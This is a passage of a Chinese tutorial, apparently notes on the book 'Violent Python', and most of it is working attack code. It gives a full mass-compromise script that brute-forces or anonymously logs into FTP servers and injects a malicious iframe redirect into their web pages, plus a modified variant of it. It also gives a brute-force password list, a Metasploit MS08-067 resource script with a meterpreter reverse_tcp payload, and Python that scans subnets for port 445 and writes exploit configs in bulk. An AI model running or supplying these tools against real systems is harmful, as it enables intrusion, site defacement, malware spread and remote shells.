- ftp.login(username,password)
- injectPage(ftp,'index.html',redirect)
- except:
- print '[-] Logon failed.'
-
- if __name__ == '__main__':
- main()
运行结果:
整合全部的攻击
这里将上面几个小节的代码整合到一块,主要是添加了attack()函数,该函数首先用用户名和密码登陆FTP服务器,然后调用其他函数搜索默认网页并下载同时实现注入和上传,其实说白了这个函数就是将前面几个小节的函数整合起来调用。
-
-
- import ftplib
- import optparse
- import time
-
- def attack(username,password,tgtHost,redirect):
- ftp = ftplib.FTP(tgtHost)
- ftp.login(username,password)
- defPages = returnDefault(ftp)
- for defPage in defPages:
- injectPage(ftp,defPage,redirect)
-
- def anonLogin(hostname):
- try:
- ftp = ftplib.FTP(hostname)
- ftp.login('anonymous','[email protected]')
- print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
- ftp.quit()
- return True
- except Exception, e:
- print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'
- return False
-
- def bruteLogin(hostname,passwdFile):
- pF = open(passwdFile,'r')
- for line in pF.readlines():
- username = line.split(':')[0]
- password = line.split(':')[1].strip('\r').strip('\n')
- print '[+] Trying: ' + username + '/' + password
- try:
- ftp = ftplib.FTP(hostname)
- ftp.login(username,password)
- print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
- ftp.quit()
- return (username,password)
- except Exception, e:
- pass
- print '\n[-] Could not brubrute force FTP credentials.'
- return (None,None)
-
- def returnDefault(ftp):
- try:
-
- dirList = ftp.nlst()
- except:
- dirList = []
- print '[-] Could not list directory contents.'
- print '[-] Skipping To Next Target.'
- return
-
- retList = []
- for filename in dirList:
-
- fn = filename.lower()
- if '.php' in fn or '.asp' in fn or '.htm' in fn:
- print '[+] Found default page: '+filename
- retList.append(filename)
- return retList
-
- def injectPage(ftp,page,redirect):
- f = open(page + '.tmp','w')
-
- ftp.retrlines('RETR ' + page,f.write)
- print '[+] Downloaded Page: ' + page
- f.write(redirect)
- f.close()
- print '[+] Injected Malicious IFrame on: ' + page
-
- ftp.storlines('STOR ' + page,open(page + '.tmp'))
- print '[+] Uploaded Injected Page: ' + page
-
- def main():
- parser = optparse.OptionParser('[*] Usage : ./massCompromise.py -H -r -f ]')
- parser.add_option('-H',dest='hosts',type='string',help='specify target host')
- parser.add_option('-r',dest='redirect',type='string',help='specify redirect page')
- parser.add_option('-f',dest='file',type='string',help='specify userpass file')
- (options,args) = parser.parse_args()
-
-
- hosts = str(options.hosts).split(',')
- redirect = options.redirect
- file = options.file
-
-
- if hosts == None or redirect == None:
- print parser.usage
- exit(0)
-
- for host in hosts:
- username = None
- password = None
- if anonLogin(host) == True:
- username = 'anonymous'
- password = '[email protected]'
- print '[+] Using Anonymous Creds to attack'
- attack(username,password,host,redirect)
- elif file != None:
- (username,password) = bruteLogin(host,file)
- if password != None:
- print '[+] Using Cred: ' + username + '/' + password + ' to attack'
- attack(username,password,host,redirect)
-
- if __name__ == '__main__':
- main()
运行结果:
由于可以匿名登录所以可以直接进行注入攻击。
【个人修改的代码】
但是发现就是匿名登录进去的文件都只是属于匿名用户自己的而没有ftpuser即正常的FTP用户的文件,所以为了实现同时进行注入就稍微修改了一下代码:
-
-
- import ftplib
- import optparse
- import time
-
- def attack(username,password,tgtHost,redirect):
- ftp = ftplib.FTP(tgtHost)
- ftp.login(username,password)
- defPages = returnDefault(ftp)
- for defPage in defPages:
- injectPage(ftp,defPage,redirect)
-
- def anonLogin(hostname):
- try:
- ftp = ftplib.FTP(hostname)
- ftp.login('anonymous','[email protected]')
- print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
- ftp.quit()
- return True
- except Exception, e:
- print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'
- return False
-
- def bruteLogin(hostname,passwdFile):
- pF = open(passwdFile,'r')
- for line in pF.readlines():
- username = line.split(':')[0]
- password = line.split(':')[1].strip('\r').strip('\n')
- print '[+] Trying: ' + username + '/' + password
- try:
- ftp = ftplib.FTP(hostname)
- ftp.login(username,password)
- print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
- ftp.quit()
- return (username,password)
- except Exception, e:
- pass
- print '\n[-] Could not brubrute force FTP credentials.'
- return (None,None)
-
- def returnDefault(ftp):
- try:
-
- dirList = ftp.nlst()
- except:
- dirList = []
- print '[-] Could not list directory contents.'
- print '[-] Skipping To Next Target.'
- return
-
- retList = []
- for filename in dirList:
-
- fn = filename.lower()
- if '.php' in fn or '.asp' in fn or '.htm' in fn:
- print '[+] Found default page: '+filename
- retList.append(filename)
- return retList
-
- def injectPage(ftp,page,redirect):
- f = open(page + '.tmp','w')
-
- ftp.retrlines('RETR ' + page,f.write)
- print '[+] Downloaded Page: ' + page
- f.write(redirect)
- f.close()
- print '[+] Injected Malicious IFrame on: ' + page
-
- ftp.storlines('STOR ' + page,open(page + '.tmp'))
- print '[+] Uploaded Injected Page: ' + page
-
- def main():
- parser = optparse.OptionParser('[*] Usage : ./massCompromise.py -H -r -f ]')
- parser.add_option('-H',dest='hosts',type='string',help='specify target host')
- parser.add_option('-r',dest='redirect',type='string',help='specify redirect page')
- parser.add_option('-f',dest='file',type='string',help='specify userpass file')
- (options,args) = parser.parse_args()
-
-
- hosts = str(options.hosts).split(',')
- redirect = options.redirect
- file = options.file
-
-
- if hosts == None or redirect == None:
- print parser.usage
- exit(0)
-
- for host in hosts:
- username = None
- password = None
- if anonLogin(host) == True:
- username = 'anonymous'
- password = '[email protected]'
- print '[+] Using Anonymous Creds to attack'
- attack(username,password,host,redirect)
- if file != None:
- (username,password) = bruteLogin(host,file)
- if password != None:
- print '[+] Using Cred: ' + username + '/' + password + ' to attack'
- attack(username,password,host,redirect)
-
- if __name__ == '__main__':
- main()
运行结果:
可以发现两个用户中发现的文件是不一样的。
3、Conficker,为什么努力做就够了
在密码攻击的口令列表中值得拥有的11个口令:
aaa
academia
anything
coffee
computer
cookie
oracle
password
secret
super
unknown
使用Metasploit攻击Windows SMB服务
这里主要利用了MS08-067的这个漏洞来进行演示
将下面的命令保存为conficker.rc文件:
use exploit/windows/smb/ms08_067_netapi
set RHOST 10.10.10.123
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.10.160
set LPORT 7777
exploit -j -z
这里exploit命令的-j参数表示攻击在后台进行,-z参数表示攻击完成后不与会话进行交互。
接着输入命令:msfconsole -r conficker.rc
获得一个会话session1之后,然后打开这个session:
这样就能通过打开文件读取其中命令的方式来执行msf相应的操作,从而获取了XP的shell。
编写Python脚本与Metasploit交互
导入nmap库,在findTgts()函数中实现对整个网段的主机445端口的扫描,setupHandler()函数实现目标主机被攻击后进行远程交互的监听器的功能,confickerExploit()函数实现上一小节中conficker.rc脚本中一样的内容:
-
-
-
- import nmap
-
- def findTgts(subNet):
- nmScan = nmap.PortScanner()
- nmScan.scan(subNet,'445')
- tgtHosts = []
- for host in nmScan.all_hosts():
-
- if nmScan[host].has_tcp(445):
- state = nmScan[host]['tcp'][445]['state']
-
- if state == 'open':
- print '[+] Found Target Host: ' + host
- tgtHosts.append(host)
- return tgtHosts
-
- def setupHandler(configFile,lhost,lport):
- configFile.write('use exploit/multi/handler\n')
- configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
- configFile.write('set LPORT ' + str(lport) + '\n')
- configFile.write('set LHOST ' + lhost + '\n')
- configFile.write('exploit -j -z\n')
-
-
-
- configFile.write('setg DisablePayloadHandler 1\n')
-
- def confickerExploit(configFile,tgtHost,lhost,lport):
- configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
- configFile.write('set RHOST ' + str(tgtHost) + '\n')
- configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
- configFile.write('set LPORT ' + str(lport) + '\n')
- configFile.write('set LHOST ' + lhost + '\n')
-
-
- configFile.write('exploit -j -z\n')
注意点就是,在confickerExploit()函数中,脚本发送了一条指令在同一个任务(job)的上下文环境中(-j),不与任务进行即时交互的条件下(-z)利用对目标主机上的漏洞。因为这个脚本是实现批量式操作的,即会渗透多个目标主机,因而不可能同时与各个主机进行交互而必须使用-j和-z参数。
暴力破解口令,远程执行一个进程
这里暴力破解SMB用户名/密码,以此来获取权限在目标主机上远程执行一个进程(psexec),将用户名设为Administrator,然后打开密码列表文件,对文件中的每个密码都会生成一个远程执行进行的Metasploit脚本,若密码正确则会返回一个命令行shell: